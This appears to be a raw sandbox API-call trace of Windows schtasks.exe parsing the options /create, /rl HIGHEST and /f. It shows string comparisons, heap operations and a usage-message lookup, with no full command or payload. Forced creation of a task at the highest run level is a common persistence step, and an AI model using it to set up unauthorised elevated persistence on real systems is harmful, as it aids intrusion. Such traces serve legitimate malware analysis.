[0080.015] lstrlenW (lpString="rl") returned 2 [0080.015] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.015] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|end|") returned 5 [0080.015] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|rl|") returned 4 [0080.015] lstrlenW (lpString="|end|") returned 5 [0080.015] lstrlenW (lpString="|rl|") returned 4 [0080.015] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0080.015] SetLastError (dwErrCode=0x490) [0080.015] lstrlenW (lpString="showsid") returned 7 [0080.015] lstrlenW (lpString="showsid") returned 7 [0080.015] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.015] lstrlenW (lpString="rl") returned 2 [0080.015] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.015] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|showsid|") returned 9 [0080.015] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|rl|") returned 4 [0080.015] lstrlenW (lpString="|showsid|") returned 9 [0080.015] lstrlenW (lpString="|rl|") returned 4 [0080.015] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0080.015] SetLastError (dwErrCode=0x490) [0080.015] SetLastError (dwErrCode=0x490) [0080.015] SetLastError (dwErrCode=0x0) [0080.015] lstrlenW (lpString="/rl") returned 3 [0080.016] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0080.016] SetLastError (dwErrCode=0x490) [0080.016] SetLastError (dwErrCode=0x0) [0080.016] lstrlenW (lpString="/rl") returned 3 [0080.016] GetProcessHeap () returned 0x1d0000 [0080.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1eded0 [0080.016] GetProcessHeap () returned 0x1d0000 [0080.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1eced0 [0080.016] SetLastError (dwErrCode=0x0) [0080.016] SetLastError (dwErrCode=0x0) [0080.016] lstrlenW (lpString="HIGHEST") returned 7 [0080.016] lstrlenW (lpString="-/") returned 2 [0080.016] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0080.016] SetLastError (dwErrCode=0x490) [0080.016] SetLastError (dwErrCode=0x490) [0080.016] SetLastError (dwErrCode=0x0) [0080.016] lstrlenW (lpString="HIGHEST") returned 7 [0080.016] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0080.016] SetLastError (dwErrCode=0x490) [0080.016] SetLastError (dwErrCode=0x0) [0080.016] lstrlenW (lpString="HIGHEST") returned 7 [0080.016] GetProcessHeap () returned 0x1d0000 [0080.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x10) returned 0x1ed660 [0080.016] GetProcessHeap () returned 0x1d0000 [0080.016] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecf00 [0080.016] SetLastError (dwErrCode=0x0) [0080.016] SetLastError (dwErrCode=0x0) [0080.016] lstrlenW (lpString="/f") returned 2 [0080.016] lstrlenW (lpString="-/") returned 2 [0080.016] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.017] lstrlenW (lpString="?") returned 1 [0080.017] lstrlenW (lpString="?") returned 1 [0080.017] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.017] lstrlenW (lpString="f") returned 1 [0080.017] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.017] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|?|") returned 3 [0080.017] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|f|") returned 3 [0080.017] lstrlenW (lpString="|?|") returned 3 [0080.017] lstrlenW (lpString="|f|") returned 3 [0080.017] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0080.017] SetLastError (dwErrCode=0x490) [0080.017] lstrlenW (lpString="create") returned 6 [0080.017] lstrlenW (lpString="create") returned 6 [0080.017] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.017] lstrlenW (lpString="f") returned 1 [0080.017] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.017] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0080.017] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|f|") returned 3 [0080.017] lstrlenW (lpString="|create|") returned 8 [0080.017] lstrlenW (lpString="|f|") returned 3 [0080.017] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0080.017] SetLastError (dwErrCode=0x490) [0080.017] lstrlenW (lpString="delete") returned 6 [0080.017] lstrlenW (lpString="delete") returned 6 [0080.018] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.018] lstrlenW (lpString="f") returned 1 [0080.018] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.018] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|delete|") returned 8 [0080.018] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|f|") returned 3 [0080.018] lstrlenW (lpString="|delete|") returned 8 [0080.018] lstrlenW (lpString="|f|") returned 3 [0080.018] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0080.018] SetLastError (dwErrCode=0x490) [0080.018] lstrlenW (lpString="query") returned 5 [0080.018] lstrlenW (lpString="query") returned 5 [0080.018] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.018] lstrlenW (lpString="f") returned 1 [0080.018] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.018] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|query|") returned 7 [0080.018] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|f|") returned 3 [0080.018] lstrlenW (lpString="|query|") returned 7 [0080.018] lstrlenW (lpString="|f|") returned 3 [0080.018] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0080.018] SetLastError (dwErrCode=0x490) [0080.018] lstrlenW (lpString="change") returned 6 [0080.018] lstrlenW (lpString="change") returned 6 [0080.018] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.018] lstrlenW (lpString="f") returned 1 [0080.018] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.019] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|change|") returned 8 [0080.019] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|f|") returned 3 [0080.019] lstrlenW (lpString="|change|") returned 8 [0080.019] lstrlenW (lpString="|f|") returned 3 [0080.019] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0080.019] SetLastError (dwErrCode=0x490) [0080.019] lstrlenW (lpString="run") returned 3 [0080.019] lstrlenW (lpString="run") returned 3 [0080.019] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.019] lstrlenW (lpString="f") returned 1 [0080.019] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.019] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|run|") returned 5 [0080.019] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|f|") returned 3 [0080.019] lstrlenW (lpString="|run|") returned 5 [0080.019] lstrlenW (lpString="|f|") returned 3 [0080.019] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0080.019] SetLastError (dwErrCode=0x490) [0080.019] lstrlenW (lpString="end") returned 3 [0080.019] lstrlenW (lpString="end") returned 3 [0080.019] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.019] lstrlenW (lpString="f") returned 1 [0080.019] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.019] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|end|") returned 5 [0080.019] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|f|") returned 3 [0080.020] lstrlenW (lpString="|end|") returned 5 [0080.020] lstrlenW (lpString="|f|") returned 3 [0080.020] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0080.020] SetLastError (dwErrCode=0x490) [0080.020] lstrlenW (lpString="showsid") returned 7 [0080.020] lstrlenW (lpString="showsid") returned 7 [0080.020] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.020] lstrlenW (lpString="f") returned 1 [0080.020] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.020] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|showsid|") returned 9 [0080.020] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|f|") returned 3 [0080.020] lstrlenW (lpString="|showsid|") returned 9 [0080.020] lstrlenW (lpString="|f|") returned 3 [0080.020] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0080.020] SetLastError (dwErrCode=0x490) [0080.020] SetLastError (dwErrCode=0x490) [0080.020] SetLastError (dwErrCode=0x0) [0080.021] lstrlenW (lpString="/f") returned 2 [0080.021] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0080.021] SetLastError (dwErrCode=0x490) [0080.021] SetLastError (dwErrCode=0x0) [0080.021] lstrlenW (lpString="/f") returned 2 [0080.021] GetProcessHeap () returned 0x1d0000 [0080.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x6) returned 0x1edef0 [0080.021] GetProcessHeap () returned 0x1d0000 [0080.021] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecf30 [0080.021] SetLastError (dwErrCode=0x0) [0080.021] GetProcessHeap () returned 0x1d0000 [0080.021] GetProcessHeap () returned 0x1d0000 [0080.021] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320) returned 1 [0080.022] GetProcessHeap () returned 0x1d0000 [0080.022] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec320) returned 0x8 [0080.022] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec320 | out: hHeap=0x1d0000) returned 1 [0080.022] GetProcessHeap () returned 0x1d0000 [0080.022] GetProcessHeap () returned 0x1d0000 [0080.022] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd50) returned 1 [0080.023] GetProcessHeap () returned 0x1d0000 [0080.023] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd50) returned 0x20 [0080.024] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd50 | out: hHeap=0x1d0000) returned 1 [0080.024] GetProcessHeap () returned 0x1d0000 [0080.024] GetProcessHeap () returned 0x1d0000 [0080.024] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3b0) returned 1 [0080.024] GetProcessHeap () returned 0x1d0000 [0080.024] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec3b0) returned 0x10 [0080.024] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3b0 | out: hHeap=0x1d0000) returned 1 [0080.024] GetProcessHeap () returned 0x1d0000 [0080.024] GetProcessHeap () returned 0x1d0000 [0080.024] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd80) returned 1 [0080.024] GetProcessHeap () returned 0x1d0000 [0080.024] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecd80) returned 0x20 [0080.025] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecd80 | out: hHeap=0x1d0000) returned 1 [0080.025] GetProcessHeap () returned 0x1d0000 [0080.025] GetProcessHeap () returned 0x1d0000 [0080.025] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3d0) returned 1 [0080.025] GetProcessHeap () returned 0x1d0000 [0080.025] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec3d0) returned 0x8 [0080.025] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3d0 | out: hHeap=0x1d0000) returned 1 [0080.025] GetProcessHeap () returned 0x1d0000 [0080.025] GetProcessHeap () returned 0x1d0000 [0080.025] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdb0) returned 1 [0080.025] GetProcessHeap () returned 0x1d0000 [0080.025] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecdb0) returned 0x20 [0080.026] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecdb0 | out: hHeap=0x1d0000) returned 1 [0080.026] GetProcessHeap () returned 0x1d0000 [0080.026] GetProcessHeap () returned 0x1d0000 [0080.026] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3f0) returned 1 [0080.026] GetProcessHeap () returned 0x1d0000 [0080.026] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec3f0) returned 0xe [0080.026] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec3f0 | out: hHeap=0x1d0000) returned 1 [0080.026] GetProcessHeap () returned 0x1d0000 [0080.026] GetProcessHeap () returned 0x1d0000 [0080.026] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecde0) returned 1 [0080.026] GetProcessHeap () returned 0x1d0000 [0080.026] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecde0) returned 0x20 [0080.027] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecde0 | out: hHeap=0x1d0000) returned 1 [0080.027] GetProcessHeap () returned 0x1d0000 [0080.027] GetProcessHeap () returned 0x1d0000 [0080.027] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec410) returned 1 [0080.027] GetProcessHeap () returned 0x1d0000 [0080.027] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec410) returned 0x8 [0080.027] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec410 | out: hHeap=0x1d0000) returned 1 [0080.027] GetProcessHeap () returned 0x1d0000 [0080.027] GetProcessHeap () returned 0x1d0000 [0080.027] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece10) returned 1 [0080.027] GetProcessHeap () returned 0x1d0000 [0080.027] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ece10) returned 0x20 [0080.028] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece10 | out: hHeap=0x1d0000) returned 1 [0080.028] GetProcessHeap () returned 0x1d0000 [0080.028] GetProcessHeap () returned 0x1d0000 [0080.028] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec430) returned 1 [0080.028] GetProcessHeap () returned 0x1d0000 [0080.028] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec430) returned 0x6 [0080.028] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec430 | out: hHeap=0x1d0000) returned 1 [0080.028] GetProcessHeap () returned 0x1d0000 [0080.028] GetProcessHeap () returned 0x1d0000 [0080.028] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece40) returned 1 [0080.028] GetProcessHeap () returned 0x1d0000 [0080.028] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ece40) returned 0x20 [0080.029] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece40 | out: hHeap=0x1d0000) returned 1 [0080.029] GetProcessHeap () returned 0x1d0000 [0080.029] GetProcessHeap () returned 0x1d0000 [0080.029] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec450) returned 1 [0080.029] GetProcessHeap () returned 0x1d0000 [0080.029] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ec450) returned 0x8 [0080.029] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ec450 | out: hHeap=0x1d0000) returned 1 [0080.029] GetProcessHeap () returned 0x1d0000 [0080.029] GetProcessHeap () returned 0x1d0000 [0080.029] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece70) returned 1 [0080.029] GetProcessHeap () returned 0x1d0000 [0080.029] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ece70) returned 0x20 [0080.029] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ece70 | out: hHeap=0x1d0000) returned 1 [0080.030] GetProcessHeap () returned 0x1d0000 [0080.030] GetProcessHeap () returned 0x1d0000 [0080.030] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ede70) returned 1 [0080.030] GetProcessHeap () returned 0x1d0000 [0080.030] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ede70) returned 0x56 [0080.030] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ede70 | out: hHeap=0x1d0000) returned 1 [0080.030] GetProcessHeap () returned 0x1d0000 [0080.030] GetProcessHeap () returned 0x1d0000 [0080.030] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecea0) returned 1 [0080.030] GetProcessHeap () returned 0x1d0000 [0080.030] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecea0) returned 0x20 [0080.031] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecea0 | out: hHeap=0x1d0000) returned 1 [0080.031] GetProcessHeap () returned 0x1d0000 [0080.031] GetProcessHeap () returned 0x1d0000 [0080.031] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eded0) returned 1 [0080.031] GetProcessHeap () returned 0x1d0000 [0080.031] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eded0) returned 0x8 [0080.031] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eded0 | out: hHeap=0x1d0000) returned 1 [0080.031] GetProcessHeap () returned 0x1d0000 [0080.031] GetProcessHeap () returned 0x1d0000 [0080.031] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eced0) returned 1 [0080.031] GetProcessHeap () returned 0x1d0000 [0080.031] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1eced0) returned 0x20 [0080.032] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eced0 | out: hHeap=0x1d0000) returned 1 [0080.032] GetProcessHeap () returned 0x1d0000 [0080.032] GetProcessHeap () returned 0x1d0000 [0080.032] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed660) returned 1 [0080.032] GetProcessHeap () returned 0x1d0000 [0080.032] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ed660) returned 0x10 [0080.032] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed660 | out: hHeap=0x1d0000) returned 1 [0080.032] GetProcessHeap () returned 0x1d0000 [0080.032] GetProcessHeap () returned 0x1d0000 [0080.032] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecf00) returned 1 [0080.032] GetProcessHeap () returned 0x1d0000 [0080.032] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecf00) returned 0x20 [0080.033] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecf00 | out: hHeap=0x1d0000) returned 1 [0080.033] GetProcessHeap () returned 0x1d0000 [0080.033] GetProcessHeap () returned 0x1d0000 [0080.033] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1edef0) returned 1 [0080.033] GetProcessHeap () returned 0x1d0000 [0080.033] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1edef0) returned 0x6 [0080.033] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1edef0 | out: hHeap=0x1d0000) returned 1 [0080.033] GetProcessHeap () returned 0x1d0000 [0080.033] GetProcessHeap () returned 0x1d0000 [0080.033] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecf30) returned 1 [0080.033] GetProcessHeap () returned 0x1d0000 [0080.033] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ecf30) returned 0x20 [0080.034] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ecf30 | out: hHeap=0x1d0000) returned 1 [0080.034] GetProcessHeap () returned 0x1d0000 [0080.034] GetProcessHeap () returned 0x1d0000 [0080.034] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7fa0) returned 1 [0080.034] GetProcessHeap () returned 0x1d0000 [0080.034] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1e7fa0) returned 0x18 [0080.034] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e7fa0 | out: hHeap=0x1d0000) returned 1 [0080.035] SetLastError (dwErrCode=0x0) [0080.035] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0080.035] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0080.035] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0080.035] VerifyVersionInfoW (in: lpVersionInformation=0x17c370, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x17c370) returned 1 [0080.035] SetLastError (dwErrCode=0x0) [0080.035] lstrlenW (lpString="create") returned 6 [0080.035] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0080.035] SetLastError (dwErrCode=0x490) [0080.035] SetLastError (dwErrCode=0x0) [0080.035] lstrlenW (lpString="create") returned 6 [0080.035] GetProcessHeap () returned 0x1d0000 [0080.035] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecf30 [0080.035] GetProcessHeap () returned 0x1d0000 [0080.035] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ed660 [0080.035] _memicmp (_Buf1=0x1ed660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.035] GetProcessHeap () returned 0x1d0000 [0080.035] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x16) returned 0x1ed680 [0080.035] SetLastError (dwErrCode=0x0) [0080.035] _memicmp (_Buf1=0x1ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.035] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ebd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0080.035] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0080.036] GetProcessHeap () returned 0x1d0000 [0080.036] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x74e) returned 0x1ede70 [0080.036] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1ede70 | out: lpData=0x1ede70) returned 1 [0080.037] VerQueryValueW (in: pBlock=0x1ede70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x17c458, puLen=0x17c4c0 | out: lplpBuffer=0x17c458*=0x1ee20c, puLen=0x17c4c0) returned 1 [0080.037] _memicmp (_Buf1=0x1ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.037] _vsnwprintf (in: _Buffer=0x1ebd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x17c438 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0080.037] VerQueryValueW (in: pBlock=0x1ede70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x17c4c8, puLen=0x17c4b8 | out: lplpBuffer=0x17c4c8*=0x1ee038, puLen=0x17c4b8) returned 1 [0080.037] lstrlenW (lpString="schtasks.exe") returned 12 [0080.037] lstrlenW (lpString="schtasks.exe") returned 12 [0080.037] lstrlenW (lpString=".EXE") returned 4 [0080.037] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0080.037] lstrlenW (lpString="schtasks.exe") returned 12 [0080.037] lstrlenW (lpString=".EXE") returned 4 [0080.037] lstrlenW (lpString="schtasks") returned 8 [0080.037] lstrlenW (lpString="/create") returned 7 [0080.037] _memicmp (_Buf1=0x1ebbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.037] _vsnwprintf (in: _Buffer=0x1ebd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0x17c438 | out: _Buffer="schtasks /create") returned 16 [0080.037] _memicmp (_Buf1=0x1ebbd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.037] GetProcessHeap () returned 0x1d0000 [0080.037] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecf00 [0080.037] _memicmp (_Buf1=0x1ebbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.038] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ed400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0080.038] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0080.038] GetProcessHeap () returned 0x1d0000 [0080.038] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x30) returned 0x1e7c00 [0080.038] _vsnwprintf (in: _Buffer=0x1ec150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x17c438 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0080.038] GetProcessHeap () returned 0x1d0000 [0080.038] GetProcessHeap () returned 0x1d0000 [0080.038] HeapValidate (hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ede70) returned 1 [0080.038] GetProcessHeap () returned 0x1d0000 [0080.038] RtlSizeHeap (HeapHandle=0x1d0000, Flags=0x0, MemoryPointer=0x1ede70) returned 0x74e [0080.039] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ede70 | out: hHeap=0x1d0000) returned 1 [0080.039] SetLastError (dwErrCode=0x0) [0080.039] GetThreadLocale () returned 0x409 [0080.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.039] lstrlenW (lpString="create") returned 6 [0080.039] GetThreadLocale () returned 0x409 [0080.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.039] lstrlenW (lpString="?") returned 1 [0080.039] GetThreadLocale () returned 0x409 [0080.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.039] lstrlenW (lpString="s") returned 1 [0080.039] GetThreadLocale () returned 0x409 [0080.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0080.039] lstrlenW (lpString="u") returned 1 [0080.039] GetThreadLocale () returned 0x409 